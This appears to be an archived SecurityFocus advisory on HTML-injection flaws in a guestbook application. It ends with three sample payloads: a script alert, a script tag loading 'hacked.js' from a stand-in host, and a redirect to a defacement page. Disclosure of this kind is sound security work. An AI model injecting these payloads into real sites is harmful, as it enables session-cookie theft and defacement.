13 lines
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738 B
Text
13 lines
No EOL
738 B
Text
source: http://www.securityfocus.com/bid/17438/info
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Guestbook is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content.
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Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
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An example has been provided:
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<script>alert(/Liz0ziM/)</script>
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<script src=http://www.example.com/hacked.js></script>
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<script>location.href="http://www.example.com/deface.html";</script> |